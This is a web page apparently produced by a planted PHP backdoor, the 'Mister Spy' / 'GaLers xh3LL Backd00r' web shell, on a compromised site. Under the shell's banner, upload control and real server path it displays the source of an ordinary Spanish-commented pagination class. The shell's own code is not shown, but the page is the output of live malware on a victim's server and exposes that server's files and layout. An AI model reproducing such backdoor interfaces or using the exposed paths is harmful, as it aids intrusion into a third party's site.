Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.page.php

<?php

class Page
{
	public $Current;
	public $Size;
	public $CurrentSection;
	public $SizeSection;
	
	public function __construct($Current = 1, $Size = 20, $CurrentSection = 1, $SizeSection = 5)
	{
		$this->Current 			= ($Current != 0) ? $Current : 1;
		$this->Size 			= ($Size != 0) ? $Size : 20;
		$this->CurrentSection 	= $CurrentSection;
		$this->SizeSection 		= $SizeSection;
	}
}


class Section
{
	public $Current;
	public $Size;
	
	public function __construct($Current = 0, $Size = 4)
	{
		$this->Current 	= $Current;
		$this->Size 	= $Size;
	}
}


abstract class Pageable
{
	static function ParsePage(Page $oPage)
	{
		$sql = '';

		if ($oPage->Current <= 0)
			$oPage->Current = 1;

		if (isset($oPage->Current))
			$sql.= " LIMIT " . DB::Number(($oPage->Current - 1) * $oPage->Size);
			
		if (isset($oPage->Size))
			$sql.= ", " . DB::Number($oPage->Size);
				
		return $sql;
	}
	
	static function PrintPaginator(Page $oPage, $CountRows, $CountRowsEdit = false)
	{
		/* determinamos la catnitdad de paginas disponibles */
		$PagesCount = $CountRows / $oPage->Size;
		$PagesCount = ceil($PagesCount);
		
		/* si la pagina es superior a la maxima existente, entonces asignamos esta */
		if ($oPage->Current > $PagesCount)
			$oPage->Current = $PagesCount;
		
		$str 			= '';
		$PagePrevious	= $oPage->Current - 1;
		$PageNext		= $oPage->Current + 1;

		if ($PagePrevious <= 1)
			$PagePrevious = 1;

		/* si hay mas de una pagina... */		
		if ($PagesCount > 1) 
		{			
			if ($PageNext >= $PagesCount)
			{
				$PageNext = $PagesCount;
			}
			
			$CurrentSection 	= ceil($oPage->Current / $oPage->SizeSection)-1;
			$CountSections 		= ceil($PagesCount / $oPage->SizeSection);
			$Page 				= $oPage->Current;
			
			$str.= "<span class='PaginadorPaginas'>P&aacute;ginas </span>";
			
			if ($Page != 1) 
			{				
				$str.= "<a href='javascript: SetPage(1);' class='PaginadorLinks'>&lt;&lt;</a>&nbsp;&nbsp;";
				$str.= "<a href='javascript: SetPage(" . $PagePrevious . ");' class='PaginadorLinks'>Anterior</a>&nbsp;&nbsp;";
			}

			$Page = ($CurrentSection % $oPage->Current * $oPage->SizeSection ) + 1;

			for ($i=0; $i<$oPage->SizeSection; $i++)
			{
				if ($Page != 0 && $Page <= $PagesCount)
				{
					if ($Page != $oPage->Current)
					{
						if ($Page <= $PagesCount)
						{
							$str.= "<a href='javascript: SetPage(" . $Page . ");' class='PaginadorLinks'>" . $Page . "</a>&nbsp;&nbsp;";
						}
					}
					else
					{
						$str.= "<b>" . $Page . "</b>&nbsp;&nbsp;";
					}		
				}
				
				$Page ++;
			}

			/* fechas de anterior y siguiente */
			if (($oPage->Current != $PagesCount) &&( $PagesCount != "")) 
			{ 
				$str.= "<a href='javascript: SetPage(" . $PageNext . ");' class='PaginadorLinks'>Siguiente</a>&nbsp;&nbsp;";
				$str.= "<a href='javascript: SetPage(" . $PagesCount . ");' class='PaginadorLinks'>&gt;&gt;</a>&nbsp;&nbsp;";
			}
			
			//$str.= " - Total: " . $PagesCount ;
		}
		elseif ($PagesCount == 1)
		{
			$str = "<span class='PaginadorPaginas'>P&aacute;gina 1</span>";
		}
		
		if ($CountRows != NULL)
		{
			$str.= "<span class='PaginadorPaginas'> - Total registros " . $CountRows . "</span>";
		}

		/* si se puede editar la cantidad de registros a visualizar... */
		if ($CountRowsEdit)
		{
			if ($CountRows > 5)
			{
				$str.= "<span class='PaginadorPaginas'> | Mostrar </span>";
				$str.= "<select class='campoPaginador' onchange='javascript: SetPageSize(this.value);' style='width: 60px;'>";
				$selected = ($oPage->Size == 5) ? "selected='selected'" : "";
				$str.= "<option value='" . 5 . "'" . $selected . ">" . 5 . "</option>";
				$selected = ($oPage->Size == 10) ? "selected='selected'" : "";
				$str.= "<option value='" . 10 . "'" . $selected . ">" . 10 . "</option>";
				$selected = ($oPage->Size == 20) ? "selected='selected'" : "";
				$str.= "<option value='" . 20 . "'" . $selected . ">" . 20 . "</option>";
				$selected = ($oPage->Size == 25) ? "selected='selected'" : "";
				$str.= "<option value='" . 25 . "'" . $selected . ">" . 25 . "</option>";
				$selected = ($oPage->Size == 50) ? "selected='selected'" : "";
				$str.= "<option value='" . 50 . "'" . $selected . ">" . 50 . "</option>";
				$selected = ($oPage->Size == 100) ? "selected='selected'" : "";
				$str.= "<option value='" . 100 . "'" . $selected . ">" . 100 . "</option>";
				$selected = ($oPage->Size == 250) ? "selected='selected'" : "";
				$str.= "<option value='" . 250 . "'" . $selected . ">" . 250 . "</option>";
				$selected = ($oPage->Size == 500) ? "selected='selected'" : "";
				$str.= "<option value='" . 500 . "'" . $selected . ">" . 500 . "</option>";
				$selected = ($oPage->Size == 1000) ? "selected='selected'" : "";
				$str.= "<option value='" . 1000 . "'" . $selected . ">" . 1000 . "</option>";
				$str.= "</select>";
				$str.= "<span class='PaginadorPaginas'> registros</span>";
			}
		}

		return $str;
	}
	
	static function PrintPaginatorFront(Page $oPage, $CountRows, $CountRowsEdit = false)
	{
		/* determinamos la catnitdad de paginas disponibles */
		$PagesCount = $CountRows / $oPage->Size;
		$PagesCount = ceil($PagesCount);
		
		/* si la pagina es superior a la maxima existente, entonces asignamos esta */
		if ($oPage->Current > $PagesCount)
			$oPage->Current = $PagesCount;
		
		$str 			= '';
		$PagePrevious	= $oPage->Current - 1;
		$PageNext		= $oPage->Current + 1;

		if ($PagePrevious <= 1)
			$PagePrevious = 1;

		/* si hay mas de una pagina... */		
		if ($PagesCount > 1 ) 
		{			
			if ($PageNext >= $PagesCount)
			{
				$PageNext = $PagesCount;
			}
			
			$CurrentSection 	= ceil($oPage->Current / $oPage->SizeSection)-1;
			$CountSections 		= ceil($PagesCount / $oPage->SizeSection);
			$Page 				= $oPage->Current;
			
			if ($Page != 1) 
			{
				$str.= "<li class='prev'><a href='javascript: SetPage(" . $PagePrevious . ");' aria-label='Previo'><i class='fa fa-angle-left'></i></a></li>";
			}

			$Page = ($CurrentSection % $oPage->Current * $oPage->SizeSection ) + 1;

			for ($i=0; $i<$oPage->SizeSection; $i++)
			{
				if ($Page != 0 && $Page <= $PagesCount)
				{
					if ($Page != $oPage->Current)
					{
						if ($Page <= $PagesCount)
						{
							$str.= "<li class='count'><a href='javascript: SetPage(" . $Page . ");'>" . $Page . "</a></li>";
						}
					}
					else
					{
						$str.= "<li class='count active'><a>" . $Page . "</a></li>";
					}		
				}
				
				$Page ++;
			}

			/* fechas de anterior y siguiente */
			if (($oPage->Current != $PagesCount) &&( $PagesCount != "")) 
			{ 
				$str.= "<li class='next'><a href='javascript: SetPage(" . $PageNext . ");' aria-label='Siguiente'><i class='fas fa-angle-right' aria-label='Siguiente'></i></a></li>";
			}
			
			//$str.= " - Total: " . $PagesCount ;
		}

		return $str;
	}	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat